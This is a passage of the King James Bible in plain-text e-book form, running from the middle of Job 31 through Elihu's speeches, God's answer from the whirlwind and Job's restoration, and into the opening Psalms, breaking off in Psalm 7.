hasted to deceit; 31:6 Let me +be weighed in an even balance that God may know mine integrity. + +31:7 If my step hath turned out of the way, and mine heart walked +after mine eyes, and if any blot hath cleaved to mine hands; 31:8 Then +let me sow, and let another eat; yea, let my offspring be rooted out. + +31:9 If mine heart have been deceived by a woman, or if I have laid +wait at my neighbour's door; 31:10 Then let my wife grind unto +another, and let others bow down upon her. + +31:11 For this is an heinous crime; yea, it is an iniquity to be +punished by the judges. + +31:12 For it is a fire that consumeth to destruction, and would root +out all mine increase. + +31:13 If I did despise the cause of my manservant or of my +maidservant, when they contended with me; 31:14 What then shall I do +when God riseth up? and when he visiteth, what shall I answer him? +31:15 Did not he that made me in the womb make him? and did not one +fashion us in the womb? 31:16 If I have withheld the poor from their +desire, or have caused the eyes of the widow to fail; 31:17 Or have +eaten my morsel myself alone, and the fatherless hath not eaten +thereof; 31:18 (For from my youth he was brought up with me, as with a +father, and I have guided her from my mother's womb;) 31:19 If I have +seen any perish for want of clothing, or any poor without covering; +31:20 If his loins have not blessed me, and if he were not warmed with +the fleece of my sheep; 31:21 If I have lifted up my hand against the +fatherless, when I saw my help in the gate: 31:22 Then let mine arm +fall from my shoulder blade, and mine arm be broken from the bone. + +31:23 For destruction from God was a terror to me, and by reason of +his highness I could not endure. + +31:24 If I have made gold my hope, or have said to the fine gold, Thou +art my confidence; 31:25 If I rejoice because my wealth was great, and +because mine hand had gotten much; 31:26 If I beheld the sun when it +shined, or the moon walking in brightness; 31:27 And my heart hath +been secretly enticed, or my mouth hath kissed my hand: 31:28 This +also were an iniquity to be punished by the judge: for I should have +denied the God that is above. + +31:29 If I rejoice at the destruction of him that hated me, or lifted +up myself when evil found him: 31:30 Neither have I suffered my mouth +to sin by wishing a curse to his soul. + +31:31 If the men of my tabernacle said not, Oh that we had of his +flesh! we cannot be satisfied. + +31:32 The stranger did not lodge in the street: but I opened my doors +to the traveller. + +31:33 If I covered my transgressions as Adam, by hiding mine iniquity +in my bosom: 31:34 Did I fear a great multitude, or did the contempt +of families terrify me, that I kept silence, and went not out of the +door? 31:35 Oh that one would hear me! behold, my desire is, that the +Almighty would answer me, and that mine adversary had written a book. + +31:36 Surely I would take it upon my shoulder, and bind it as a crown +to me. + +31:37 I would declare unto him the number of my steps; as a prince +would I go near unto him. + +31:38 If my land cry against me, or that the furrows likewise thereof +complain; 31:39 If I have eaten the fruits thereof without money, or +have caused the owners thereof to lose their life: 31:40 Let thistles +grow instead of wheat, and cockle instead of barley. + +The words of Job are ended. + +32:1 So these three men ceased to answer Job, because he was righteous +in his own eyes. + +32:2 Then was kindled the wrath of Elihu the son of Barachel the +Buzite, of the kindred of Ram: against Job was his wrath kindled, +because he justified himself rather than God. + +32:3 Also against his three friends was his wrath kindled, because +they had found no answer, and yet had condemned Job. + +32:4 Now Elihu had waited till Job had spoken, because they were elder +than he. + +32:5 When Elihu saw that there was no answer in the mouth of these +three men, then his wrath was kindled. + +32:6 And Elihu the son of Barachel the Buzite answered and said, I am +young, and ye are very old; wherefore I was afraid, and durst not shew +you mine opinion. + +32:7 I said, Days should speak, and multitude of years should teach +wisdom. + +32:8 But there is a spirit in man: and the inspiration of the Almighty +giveth them understanding. + +32:9 Great men are not always wise: neither do the aged understand +judgment. + +32:10 Therefore I said, Hearken to me; I also will shew mine opinion. + +32:11 Behold, I waited for your words; I gave ear to your reasons, +whilst ye searched out what to say. + +32:12 Yea, I attended unto you, and, behold, there was none of you +that convinced Job, or that answered his words: 32:13 Lest ye should +say, We have found out wisdom: God thrusteth him down, not man. + +32:14 Now he hath not directed his words against me: neither will I +answer him with your speeches. + +32:15 They were amazed, they answered no more: they left off speaking. + +32:16 When I had waited, (for they spake not, but stood still, and +answered no more;) 32:17 I said, I will answer also my part, I also +will shew mine opinion. + +32:18 For I am full of matter, the spirit within me constraineth me. + +32:19 Behold, my belly is as wine which hath no vent; it is ready to +burst like new bottles. + +32:20 I will speak, that I may be refreshed: I will open my lips and +answer. + +32:21 Let me not, I pray you, accept any man's person, neither let me +give flattering titles unto man. + +32:22 For I know not to give flattering titles; in so doing my maker +would soon take me away. + +33:1 Wherefore, Job, I pray thee, hear my speeches, and hearken to all +my words. + +33:2 Behold, now I have opened my mouth, my tongue hath spoken in my +mouth. + +33:3 My words shall be of the uprightness of my heart: and my lips +shall utter knowledge clearly. + +33:4 The spirit of God hath made me, and the breath of the Almighty +hath given me life. + +33:5 If thou canst answer me, set thy words in order before me, stand +up. + +33:6 Behold, I am according to thy wish in God's stead: I also am +formed out of the clay. + +33:7 Behold, my terror shall not make thee afraid, neither shall my +hand be heavy upon thee. + +33:8 Surely thou hast spoken in mine hearing, and I have heard the +voice of thy words, saying, 33:9 I am clean without transgression, I +am innocent; neither is there iniquity in me. + +33:10 Behold, he findeth occasions against me, he counteth me for his +enemy, 33:11 He putteth my feet in the stocks, he marketh all my +paths. + +33:12 Behold, in this thou art not just: I will answer thee, that God +is greater than man. + +33:13 Why dost thou strive against him? for he giveth not account of +any of his matters. + +33:14 For God speaketh once, yea twice, yet man perceiveth it not. + +33:15 In a dream, in a vision of the night, when deep sleep falleth +upon men, in slumberings upon the bed; 33:16 Then he openeth the ears +of men, and sealeth their instruction, 33:17 That he may withdraw man +from his purpose, and hide pride from man. + +33:18 He keepeth back his soul from the pit, and his life from +perishing by the sword. + +33:19 He is chastened also with pain upon his bed, and the multitude +of his bones with strong pain: 33:20 So that his life abhorreth bread, +and his soul dainty meat. + +33:21 His flesh is consumed away, that it cannot be seen; and his +bones that were not seen stick out. + +33:22 Yea, his soul draweth near unto the grave, and his life to the +destroyers. + +33:23 If there be a messenger with him, an interpreter, one among a +thousand, to shew unto man his uprightness: 33:24 Then he is gracious +unto him, and saith, Deliver him from going down to the pit: I have +found a ransom. + +33:25 His flesh shall be fresher than a child's: he shall return to +the days of his youth: 33:26 He shall pray unto God, and he will be +favourable unto him: and he shall see his face with joy: for he will +render unto man his righteousness. + +33:27 He looketh upon men, and if any say, I have sinned, and +perverted that which was right, and it profited me not; 33:28 He will +deliver his soul from going into the pit, and his life shall see the +light. + +33:29 Lo, all these things worketh God oftentimes with man, 33:30 To +bring back his soul from the pit, to be enlightened with the light of +the living. + +33:31 Mark well, O Job, hearken unto me: hold thy peace, and I will +speak. + +33:32 If thou hast anything to say, answer me: speak, for I desire to +justify thee. + +33:33 If not, hearken unto me: hold thy peace, and I shall teach thee +wisdom. + +34:1 Furthermore Elihu answered and said, 34:2 Hear my words, O ye +wise men; and give ear unto me, ye that have knowledge. + +34:3 For the ear trieth words, as the mouth tasteth meat. + +34:4 Let us choose to us judgment: let us know among ourselves what is +good. + +34:5 For Job hath said, I am righteous: and God hath taken away my +judgment. + +34:6 Should I lie against my right? my wound is incurable without +transgression. + +34:7 What man is like Job, who drinketh up scorning like water? 34:8 +Which goeth in company with the workers of iniquity, and walketh with +wicked men. + +34:9 For he hath said, It profiteth a man nothing that he should +delight himself with God. + +34:10 Therefore hearken unto me ye men of understanding: far be it +from God, that he should do wickedness; and from the Almighty, that he +should commit iniquity. + +34:11 For the work of a man shall he render unto him, and cause every +man to find according to his ways. + +34:12 Yea, surely God will not do wickedly, neither will the Almighty +pervert judgment. + +34:13 Who hath given him a charge over the earth? or who hath disposed +the whole world? 34:14 If he set his heart upon man, if he gather +unto himself his spirit and his breath; 34:15 All flesh shall perish +together, and man shall turn again unto dust. + +34:16 If now thou hast understanding, hear this: hearken to the voice +of my words. + +34:17 Shall even he that hateth right govern? and wilt thou condemn +him that is most just? 34:18 Is it fit to say to a king, Thou art +wicked? and to princes, Ye are ungodly? 34:19 How much less to him +that accepteth not the persons of princes, nor regardeth the rich more +than the poor? for they all are the work of his hands. + +34:20 In a moment shall they die, and the people shall be troubled at +midnight, and pass away: and the mighty shall be taken away without +hand. + +34:21 For his eyes are upon the ways of man, and he seeth all his +goings. + +34:22 There is no darkness, nor shadow of death, where the workers of +iniquity may hide themselves. + +34:23 For he will not lay upon man more than right; that he should +enter into judgment with God. + +34:24 He shall break in pieces mighty men without number, and set +others in their stead. + +34:25 Therefore he knoweth their works, and he overturneth them in the +night, so that they are destroyed. + +34:26 He striketh them as wicked men in the open sight of others; +34:27 Because they turned back from him, and would not consider any of +his ways: 34:28 So that they cause the cry of the poor to come unto +him, and he heareth the cry of the afflicted. + +34:29 When he giveth quietness, who then can make trouble? and when he +hideth his face, who then can behold him? whether it be done against a +nation, or against a man only: 34:30 That the hypocrite reign not, +lest the people be ensnared. + +34:31 Surely it is meet to be said unto God, I have borne +chastisement, I will not offend any more: 34:32 That which I see not +teach thou me: if I have done iniquity, I will do no more. + +34:33 Should it be according to thy mind? he will recompense it, +whether thou refuse, or whether thou choose; and not I: therefore +speak what thou knowest. + +34:34 Let men of understanding tell me, and let a wise man hearken +unto me. + +34:35 Job hath spoken without knowledge, and his words were without +wisdom. + +34:36 My desire is that Job may be tried unto the end because of his +answers for wicked men. + +34:37 For he addeth rebellion unto his sin, he clappeth his hands +among us, and multiplieth his words against God. + +35:1 Elihu spake moreover, and said, 35:2 Thinkest thou this to be +right, that thou saidst, My righteousness is more than God's? 35:3 +For thou saidst, What advantage will it be unto thee? and, What profit +shall I have, if I be cleansed from my sin? 35:4 I will answer thee, +and thy companions with thee. + +35:5 Look unto the heavens, and see; and behold the clouds which are +higher than thou. + +35:6 If thou sinnest, what doest thou against him? or if thy +transgressions be multiplied, what doest thou unto him? 35:7 If thou +be righteous, what givest thou him? or what receiveth he of thine +hand? 35:8 Thy wickedness may hurt a man as thou art; and thy +righteousness may profit the son of man. + +35:9 By reason of the multitude of oppressions they make the oppressed +to cry: they cry out by reason of the arm of the mighty. + +35:10 But none saith, Where is God my maker, who giveth songs in the +night; 35:11 Who teacheth us more than the beasts of the earth, and +maketh us wiser than the fowls of heaven? 35:12 There they cry, but +none giveth answer, because of the pride of evil men. + +35:13 Surely God will not hear vanity, neither will the Almighty +regard it. + +35:14 Although thou sayest thou shalt not see him, yet judgment is +before him; therefore trust thou in him. + +35:15 But now, because it is not so, he hath visited in his anger; yet +he knoweth it not in great extremity: 35:16 Therefore doth Job open +his mouth in vain; he multiplieth words without knowledge. + +36:1 Elihu also proceeded, and said, 36:2 Suffer me a little, and I +will shew thee that I have yet to speak on God's behalf. + +36:3 I will fetch my knowledge from afar, and will ascribe +righteousness to my Maker. + +36:4 For truly my words shall not be false: he that is perfect in +knowledge is with thee. + +36:5 Behold, God is mighty, and despiseth not any: he is mighty in +strength and wisdom. + +36:6 He preserveth not the life of the wicked: but giveth right to the +poor. + +36:7 He withdraweth not his eyes from the righteous: but with kings +are they on the throne; yea, he doth establish them for ever, and they +are exalted. + +36:8 And if they be bound in fetters, and be holden in cords of +affliction; 36:9 Then he sheweth them their work, and their +transgressions that they have exceeded. + +36:10 He openeth also their ear to discipline, and commandeth that +they return from iniquity. + +36:11 If they obey and serve him, they shall spend their days in +prosperity, and their years in pleasures. + +36:12 But if they obey not, they shall perish by the sword, and they +shall die without knowledge. + +36:13 But the hypocrites in heart heap up wrath: they cry not when he +bindeth them. + +36:14 They die in youth, and their life is among the unclean. + +36:15 He delivereth the poor in his affliction, and openeth their ears +in oppression. + +36:16 Even so would he have removed thee out of the strait into a +broad place, where there is no straitness; and that which should be +set on thy table should be full of fatness. + +36:17 But thou hast fulfilled the judgment of the wicked: judgment and +justice take hold on thee. + +36:18 Because there is wrath, beware lest he take thee away with his +stroke: then a great ransom cannot deliver thee. + +36:19 Will he esteem thy riches? no, not gold, nor all the forces of +strength. + +36:20 Desire not the night, when people are cut off in their place. + +36:21 Take heed, regard not iniquity: for this hast thou chosen rather +than affliction. + +36:22 Behold, God exalteth by his power: who teacheth like him? 36:23 +Who hath enjoined him his way? or who can say, Thou hast wrought +iniquity? 36:24 Remember that thou magnify his work, which men +behold. + +36:25 Every man may see it; man may behold it afar off. + +36:26 Behold, God is great, and we know him not, neither can the +number of his years be searched out. + +36:27 For he maketh small the drops of water: they pour down rain +according to the vapour thereof: 36:28 Which the clouds do drop and +distil upon man abundantly. + +36:29 Also can any understand the spreadings of the clouds, or the +noise of his tabernacle? 36:30 Behold, he spreadeth his light upon +it, and covereth the bottom of the sea. + +36:31 For by them judgeth he the people; he giveth meat in abundance. + +36:32 With clouds he covereth the light; and commandeth it not to +shine by the cloud that cometh betwixt. + +36:33 The noise thereof sheweth concerning it, the cattle also +concerning the vapour. + +37:1 At this also my heart trembleth, and is moved out of his place. + +37:2 Hear attentively the noise of his voice, and the sound that goeth +out of his mouth. + +37:3 He directeth it under the whole heaven, and his lightning unto +the ends of the earth. + +37:4 After it a voice roareth: he thundereth with the voice of his +excellency; and he will not stay them when his voice is heard. + +37:5 God thundereth marvellously with his voice; great things doeth +he, which we cannot comprehend. + +37:6 For he saith to the snow, Be thou on the earth; likewise to the +small rain, and to the great rain of his strength. + +37:7 He sealeth up the hand of every man; that all men may know his +work. + +37:8 Then the beasts go into dens, and remain in their places. + +37:9 Out of the south cometh the whirlwind: and cold out of the north. + +37:10 By the breath of God frost is given: and the breadth of the +waters is straitened. + +37:11 Also by watering he wearieth the thick cloud: he scattereth his +bright cloud: 37:12 And it is turned round about by his counsels: that +they may do whatsoever he commandeth them upon the face of the world +in the earth. + +37:13 He causeth it to come, whether for correction, or for his land, +or for mercy. + +37:14 Hearken unto this, O Job: stand still, and consider the wondrous +works of God. + +37:15 Dost thou know when God disposed them, and caused the light of +his cloud to shine? 37:16 Dost thou know the balancings of the +clouds, the wondrous works of him which is perfect in knowledge? +37:17 How thy garments are warm, when he quieteth the earth by the +south wind? 37:18 Hast thou with him spread out the sky, which is +strong, and as a molten looking glass? 37:19 Teach us what we shall +say unto him; for we cannot order our speech by reason of darkness. + +37:20 Shall it be told him that I speak? if a man speak, surely he +shall be swallowed up. + +37:21 And now men see not the bright light which is in the clouds: but +the wind passeth, and cleanseth them. + +37:22 Fair weather cometh out of the north: with God is terrible +majesty. + +37:23 Touching the Almighty, we cannot find him out: he is excellent +in power, and in judgment, and in plenty of justice: he will not +afflict. + +37:24 Men do therefore fear him: he respecteth not any that are wise +of heart. + +38:1 Then the LORD answered Job out of the whirlwind, and said, 38:2 +Who is this that darkeneth counsel by words without knowledge? 38:3 +Gird up now thy loins like a man; for I will demand of thee, and +answer thou me. + +38:4 Where wast thou when I laid the foundations of the earth? +declare, if thou hast understanding. + +38:5 Who hath laid the measures thereof, if thou knowest? or who hath +stretched the line upon it? 38:6 Whereupon are the foundations +thereof fastened? or who laid the corner stone thereof; 38:7 When the +morning stars sang together, and all the sons of God shouted for joy? +38:8 Or who shut up the sea with doors, when it brake forth, as if it +had issued out of the womb? 38:9 When I made the cloud the garment +thereof, and thick darkness a swaddlingband for it, 38:10 And brake up +for it my decreed place, and set bars and doors, 38:11 And said, +Hitherto shalt thou come, but no further: and here shall thy proud +waves be stayed? 38:12 Hast thou commanded the morning since thy +days; and caused the dayspring to know his place; 38:13 That it might +take hold of the ends of the earth, that the wicked might be shaken +out of it? 38:14 It is turned as clay to the seal; and they stand as +a garment. + +38:15 And from the wicked their light is withholden, and the high arm +shall be broken. + +38:16 Hast thou entered into the springs of the sea? or hast thou +walked in the search of the depth? 38:17 Have the gates of death been +opened unto thee? or hast thou seen the doors of the shadow of death? +38:18 Hast thou perceived the breadth of the earth? declare if thou +knowest it all. + +38:19 Where is the way where light dwelleth? and as for darkness, +where is the place thereof, 38:20 That thou shouldest take it to the +bound thereof, and that thou shouldest know the paths to the house +thereof? 38:21 Knowest thou it, because thou wast then born? or +because the number of thy days is great? 38:22 Hast thou entered into +the treasures of the snow? or hast thou seen the treasures of the +hail, 38:23 Which I have reserved against the time of trouble, against +the day of battle and war? 38:24 By what way is the light parted, +which scattereth the east wind upon the earth? 38:25 Who hath divided +a watercourse for the overflowing of waters, or a way for the +lightning of thunder; 38:26 To cause it to rain on the earth, where no +man is; on the wilderness, wherein there is no man; 38:27 To satisfy +the desolate and waste ground; and to cause the bud of the tender herb +to spring forth? 38:28 Hath the rain a father? or who hath begotten +the drops of dew? 38:29 Out of whose womb came the ice? and the hoary +frost of heaven, who hath gendered it? 38:30 The waters are hid as +with a stone, and the face of the deep is frozen. + +38:31 Canst thou bind the sweet influences of Pleiades, or loose the +bands of Orion? 38:32 Canst thou bring forth Mazzaroth in his season? +or canst thou guide Arcturus with his sons? 38:33 Knowest thou the +ordinances of heaven? canst thou set the dominion thereof in the +earth? 38:34 Canst thou lift up thy voice to the clouds, that +abundance of waters may cover thee? 38:35 Canst thou send lightnings, +that they may go and say unto thee, Here we are? 38:36 Who hath put +wisdom in the inward parts? or who hath given understanding to the +heart? 38:37 Who can number the clouds in wisdom? or who can stay the +bottles of heaven, 38:38 When the dust groweth into hardness, and the +clods cleave fast together? 38:39 Wilt thou hunt the prey for the +lion? or fill the appetite of the young lions, 38:40 When they couch +in their dens, and abide in the covert to lie in wait? 38:41 Who +provideth for the raven his food? when his young ones cry unto God, +they wander for lack of meat. + +39:1 Knowest thou the time when the wild goats of the rock bring +forth? or canst thou mark when the hinds do calve? 39:2 Canst thou +number the months that they fulfil? or knowest thou the time when they +bring forth? 39:3 They bow themselves, they bring forth their young +ones, they cast out their sorrows. + +39:4 Their young ones are in good liking, they grow up with corn; they +go forth, and return not unto them. + +39:5 Who hath sent out the wild ass free? or who hath loosed the bands +of the wild ass? 39:6 Whose house I have made the wilderness, and the +barren land his dwellings. + +39:7 He scorneth the multitude of the city, neither regardeth he the +crying of the driver. + +39:8 The range of the mountains is his pasture, and he searcheth after +every green thing. + +39:9 Will the unicorn be willing to serve thee, or abide by thy crib? +39:10 Canst thou bind the unicorn with his band in the furrow? or will +he harrow the valleys after thee? 39:11 Wilt thou trust him, because +his strength is great? or wilt thou leave thy labour to him? 39:12 +Wilt thou believe him, that he will bring home thy seed, and gather it +into thy barn? 39:13 Gavest thou the goodly wings unto the peacocks? +or wings and feathers unto the ostrich? 39:14 Which leaveth her eggs +in the earth, and warmeth them in dust, 39:15 And forgetteth that the +foot may crush them, or that the wild beast may break them. + +39:16 She is hardened against her young ones, as though they were not +her's: her labour is in vain without fear; 39:17 Because God hath +deprived her of wisdom, neither hath he imparted to her understanding. + +39:18 What time she lifteth up herself on high, she scorneth the horse +and his rider. + +39:19 Hast thou given the horse strength? hast thou clothed his neck +with thunder? 39:20 Canst thou make him afraid as a grasshopper? the +glory of his nostrils is terrible. + +39:21 He paweth in the valley, and rejoiceth in his strength: he goeth +on to meet the armed men. + +39:22 He mocketh at fear, and is not affrighted; neither turneth he +back from the sword. + +39:23 The quiver rattleth against him, the glittering spear and the +shield. + +39:24 He swalloweth the ground with fierceness and rage: neither +believeth he that it is the sound of the trumpet. + +39:25 He saith among the trumpets, Ha, ha; and he smelleth the battle +afar off, the thunder of the captains, and the shouting. + +39:26 Doth the hawk fly by thy wisdom, and stretch her wings toward +the south? 39:27 Doth the eagle mount up at thy command, and make her +nest on high? 39:28 She dwelleth and abideth on the rock, upon the +crag of the rock, and the strong place. + +39:29 From thence she seeketh the prey, and her eyes behold afar off. + +39:30 Her young ones also suck up blood: and where the slain are, +there is she. + +40:1 Moreover the LORD answered Job, and said, 40:2 Shall he that +contendeth with the Almighty instruct him? he that reproveth God, let +him answer it. + +40:3 Then Job answered the LORD, and said, 40:4 Behold, I am vile; +what shall I answer thee? I will lay mine hand upon my mouth. + +40:5 Once have I spoken; but I will not answer: yea, twice; but I will +proceed no further. + +40:6 Then answered the LORD unto Job out of the whirlwind, and said, +40:7 Gird up thy loins now like a man: I will demand of thee, and +declare thou unto me. + +40:8 Wilt thou also disannul my judgment? wilt thou condemn me, that +thou mayest be righteous? 40:9 Hast thou an arm like God? or canst +thou thunder with a voice like him? 40:10 Deck thyself now with +majesty and excellency; and array thyself with glory and beauty. + +40:11 Cast abroad the rage of thy wrath: and behold every one that is +proud, and abase him. + +40:12 Look on every one that is proud, and bring him low; and tread +down the wicked in their place. + +40:13 Hide them in the dust together; and bind their faces in secret. + +40:14 Then will I also confess unto thee that thine own right hand can +save thee. + +40:15 Behold now behemoth, which I made with thee; he eateth grass as +an ox. + +40:16 Lo now, his strength is in his loins, and his force is in the +navel of his belly. + +40:17 He moveth his tail like a cedar: the sinews of his stones are +wrapped together. + +40:18 His bones are as strong pieces of brass; his bones are like bars +of iron. + +40:19 He is the chief of the ways of God: he that made him can make +his sword to approach unto him. + +40:20 Surely the mountains bring him forth food, where all the beasts +of the field play. + +40:21 He lieth under the shady trees, in the covert of the reed, and +fens. + +40:22 The shady trees cover him with their shadow; the willows of the +brook compass him about. + +40:23 Behold, he drinketh up a river, and hasteth not: he trusteth +that he can draw up Jordan into his mouth. + +40:24 He taketh it with his eyes: his nose pierceth through snares. + +41:1 Canst thou draw out leviathan with an hook? or his tongue with a +cord which thou lettest down? 41:2 Canst thou put an hook into his +nose? or bore his jaw through with a thorn? 41:3 Will he make many +supplications unto thee? will he speak soft words unto thee? 41:4 +Will he make a covenant with thee? wilt thou take him for a servant +for ever? 41:5 Wilt thou play with him as with a bird? or wilt thou +bind him for thy maidens? 41:6 Shall the companions make a banquet of +him? shall they part him among the merchants? 41:7 Canst thou fill +his skin with barbed irons? or his head with fish spears? 41:8 Lay +thine hand upon him, remember the battle, do no more. + +41:9 Behold, the hope of him is in vain: shall not one be cast down +even at the sight of him? 41:10 None is so fierce that dare stir him +up: who then is able to stand before me? 41:11 Who hath prevented me, +that I should repay him? whatsoever is under the whole heaven is mine. + +41:12 I will not conceal his parts, nor his power, nor his comely +proportion. + +41:13 Who can discover the face of his garment? or who can come to him +with his double bridle? 41:14 Who can open the doors of his face? his +teeth are terrible round about. + +41:15 His scales are his pride, shut up together as with a close seal. + +41:16 One is so near to another, that no air can come between them. + +41:17 They are joined one to another, they stick together, that they +cannot be sundered. + +41:18 By his neesings a light doth shine, and his eyes are like the +eyelids of the morning. + +41:19 Out of his mouth go burning lamps, and sparks of fire leap out. + +41:20 Out of his nostrils goeth smoke, as out of a seething pot or +caldron. + +41:21 His breath kindleth coals, and a flame goeth out of his mouth. + +41:22 In his neck remaineth strength, and sorrow is turned into joy +before him. + +41:23 The flakes of his flesh are joined together: they are firm in +themselves; they cannot be moved. + +41:24 His heart is as firm as a stone; yea, as hard as a piece of the +nether millstone. + +41:25 When he raiseth up himself, the mighty are afraid: by reason of +breakings they purify themselves. + +41:26 The sword of him that layeth at him cannot hold: the spear, the +dart, nor the habergeon. + +41:27 He esteemeth iron as straw, and brass as rotten wood. + +41:28 The arrow cannot make him flee: slingstones are turned with him +into stubble. + +41:29 Darts are counted as stubble: he laugheth at the shaking of a +spear. + +41:30 Sharp stones are under him: he spreadeth sharp pointed things +upon the mire. + +41:31 He maketh the deep to boil like a pot: he maketh the sea like a +pot of ointment. + +41:32 He maketh a path to shine after him; one would think the deep to +be hoary. + +41:33 Upon earth there is not his like, who is made without fear. + +41:34 He beholdeth all high things: he is a king over all the children +of pride. + +42:1 Then Job answered the LORD, and said, 42:2 I know that thou canst +do every thing, and that no thought can be withholden from thee. + +42:3 Who is he that hideth counsel without knowledge? therefore have I +uttered that I understood not; things too wonderful for me, which I +knew not. + +42:4 Hear, I beseech thee, and I will speak: I will demand of thee, +and declare thou unto me. + +42:5 I have heard of thee by the hearing of the ear: but now mine eye +seeth thee. + +42:6 Wherefore I abhor myself, and repent in dust and ashes. + +42:7 And it was so, that after the LORD had spoken these words unto +Job, the LORD said to Eliphaz the Temanite, My wrath is kindled +against thee, and against thy two friends: for ye have not spoken of +me the thing that is right, as my servant Job hath. + +42:8 Therefore take unto you now seven bullocks and seven rams, and go +to my servant Job, and offer up for yourselves a burnt offering; and +my servant Job shall pray for you: for him will I accept: lest I deal +with you after your folly, in that ye have not spoken of me the thing +which is right, like my servant Job. + +42:9 So Eliphaz the Temanite and Bildad the Shuhite and Zophar the +Naamathite went, and did according as the LORD commanded them: the +LORD also accepted Job. + +42:10 And the LORD turned the captivity of Job, when he prayed for his +friends: also the LORD gave Job twice as much as he had before. + +42:11 Then came there unto him all his brethren, and all his sisters, +and all they that had been of his acquaintance before, and did eat +bread with him in his house: and they bemoaned him, and comforted him +over all the evil that the LORD had brought upon him: every man also +gave him a piece of money, and every one an earring of gold. + +42:12 So the LORD blessed the latter end of Job more than his +beginning: for he had fourteen thousand sheep, and six thousand +camels, and a thousand yoke of oxen, and a thousand she asses. + +42:13 He had also seven sons and three daughters. + +42:14 And he called the name of the first, Jemima; and the name of the +second, Kezia; and the name of the third, Kerenhappuch. + +42:15 And in all the land were no women found so fair as the daughters +of Job: and their father gave them inheritance among their brethren. + +42:16 After this lived Job an hundred and forty years, and saw his +sons, and his sons' sons, even four generations. + +42:17 So Job died, being old and full of days. + + + + +The Book of Psalms + + +1:1 Blessed is the man that walketh not in the counsel of the ungodly, +nor standeth in the way of sinners, nor sitteth in the seat of the +scornful. + +1:2 But his delight is in the law of the LORD; and in his law doth he +meditate day and night. + +1:3 And he shall be like a tree planted by the rivers of water, that +bringeth forth his fruit in his season; his leaf also shall not +wither; and whatsoever he doeth shall prosper. + +1:4 The ungodly are not so: but are like the chaff which the wind +driveth away. + +1:5 Therefore the ungodly shall not stand in the judgment, nor sinners +in the congregation of the righteous. + +1:6 For the LORD knoweth the way of the righteous: but the way of the +ungodly shall perish. + + + +2:1 Why do the heathen rage, and the people imagine a vain thing? + +2:2 The kings of the earth set themselves, and the rulers take counsel +together, against the LORD, and against his anointed, saying, + +2:3 Let us break their bands asunder, and cast away their cords from +us. + +2:4 He that sitteth in the heavens shall laugh: the LORD shall have +them in derision. + +2:5 Then shall he speak unto them in his wrath, and vex them in his +sore displeasure. + +2:6 Yet have I set my king upon my holy hill of Zion. + +2:7 I will declare the decree: the LORD hath said unto me, Thou art my +Son; this day have I begotten thee. + +2:8 Ask of me, and I shall give thee the heathen for thine +inheritance, and the uttermost parts of the earth for thy possession. + +2:9 Thou shalt break them with a rod of iron; thou shalt dash them in +pieces like a potter's vessel. + +2:10 Be wise now therefore, O ye kings: be instructed, ye judges of +the earth. + +2:11 Serve the LORD with fear, and rejoice with trembling. + +2:12 Kiss the Son, lest he be angry, and ye perish from the way, when +his wrath is kindled but a little. Blessed are all they that put their +trust in him. + + + +3:1 Lord, how are they increased that trouble me! many are they that +rise up against me. + +3:2 Many there be which say of my soul, There is no help for him in +God. + +Selah. + +3:3 But thou, O LORD, art a shield for me; my glory, and the lifter up +of mine head. + +3:4 I cried unto the LORD with my voice, and he heard me out of his +holy hill. Selah. + +3:5 I laid me down and slept; I awaked; for the LORD sustained me. + +3:6 I will not be afraid of ten thousands of people, that have set +themselves against me round about. + +3:7 Arise, O LORD; save me, O my God: for thou hast smitten all mine +enemies upon the cheek bone; thou hast broken the teeth of the +ungodly. + +3:8 Salvation belongeth unto the LORD: thy blessing is upon thy +people. + +Selah. + + + +4:1 Hear me when I call, O God of my righteousness: thou hast enlarged +me when I was in distress; have mercy upon me, and hear my prayer. + +4:2 O ye sons of men, how long will ye turn my glory into shame? how +long will ye love vanity, and seek after leasing? Selah. + +4:3 But know that the LORD hath set apart him that is godly for +himself: the LORD will hear when I call unto him. + +4:4 Stand in awe, and sin not: commune with your own heart upon your +bed, and be still. Selah. + +4:5 Offer the sacrifices of righteousness, and put your trust in the +LORD. + +4:6 There be many that say, Who will shew us any good? LORD, lift thou +up the light of thy countenance upon us. + +4:7 Thou hast put gladness in my heart, more than in the time that +their corn and their wine increased. + +4:8 I will both lay me down in peace, and sleep: for thou, LORD, only +makest me dwell in safety. + + + +5:1 Give ear to my words, O LORD, consider my meditation. + +5:2 Hearken unto the voice of my cry, my King, and my God: for unto +thee will I pray. + +5:3 My voice shalt thou hear in the morning, O LORD; in the morning +will I direct my prayer unto thee, and will look up. + +5:4 For thou art not a God that hath pleasure in wickedness: neither +shall evil dwell with thee. + +5:5 The foolish shall not stand in thy sight: thou hatest all workers +of iniquity. + +5:6 Thou shalt destroy them that speak leasing: the LORD will abhor +the bloody and deceitful man. + +5:7 But as for me, I will come into thy house in the multitude of thy +mercy: and in thy fear will I worship toward thy holy temple. + +5:8 Lead me, O LORD, in thy righteousness because of mine enemies; +make thy way straight before my face. + +5:9 For there is no faithfulness in their mouth; their inward part is +very wickedness; their throat is an open sepulchre; they flatter with +their tongue. + +5:10 Destroy thou them, O God; let them fall by their own counsels; +cast them out in the multitude of their transgressions; for they have +rebelled against thee. + +5:11 But let all those that put their trust in thee rejoice: let them +ever shout for joy, because thou defendest them: let them also that +love thy name be joyful in thee. + +5:12 For thou, LORD, wilt bless the righteous; with favour wilt thou +compass him as with a shield. + + + +6:1 O LORD, rebuke me not in thine anger, neither chasten me in thy +hot displeasure. + +6:2 Have mercy upon me, O LORD; for I am weak: O LORD, heal me; for my +bones are vexed. + +6:3 My soul is also sore vexed: but thou, O LORD, how long? + +6:4 Return, O LORD, deliver my soul: oh save me for thy mercies' sake. + +6:5 For in death there is no remembrance of thee: in the grave who +shall give thee thanks? + +6:6 I am weary with my groaning; all the night make I my bed to swim; +I water my couch with my tears. + +6:7 Mine eye is consumed because of grief; it waxeth old because of +all mine enemies. + +6:8 Depart from me, all ye workers of iniquity; for the LORD hath +heard the voice of my weeping. + +6:9 The LORD hath heard my supplication; the LORD will receive my +prayer. + +6:10 Let all mine enemies be ashamed and sore vexed: let them return +and be ashamed suddenly. + + + +7:1 O LORD my God, in thee do I put my trust: save me from all them +that persecute me, and deliver me: + +7:2 Lest he tear my soul like a lion, rending it in pieces, while +there is none to deliver. + +7:3 O LORD my God, If I have done this; if there be iniquity in my +hands; + +7:4 If I have rewarded evil unto him that was at peace with me; (yea, +I have delivered him that without cause is mine enemy:) + +7:5 Let the enemy persecute my soul, and take it; yea, let him tread +down my life upon the earth, and lay mine honour in the dust. Selah. + +7:6 Arise, O LORD, in thine anger, lift up thyself because of 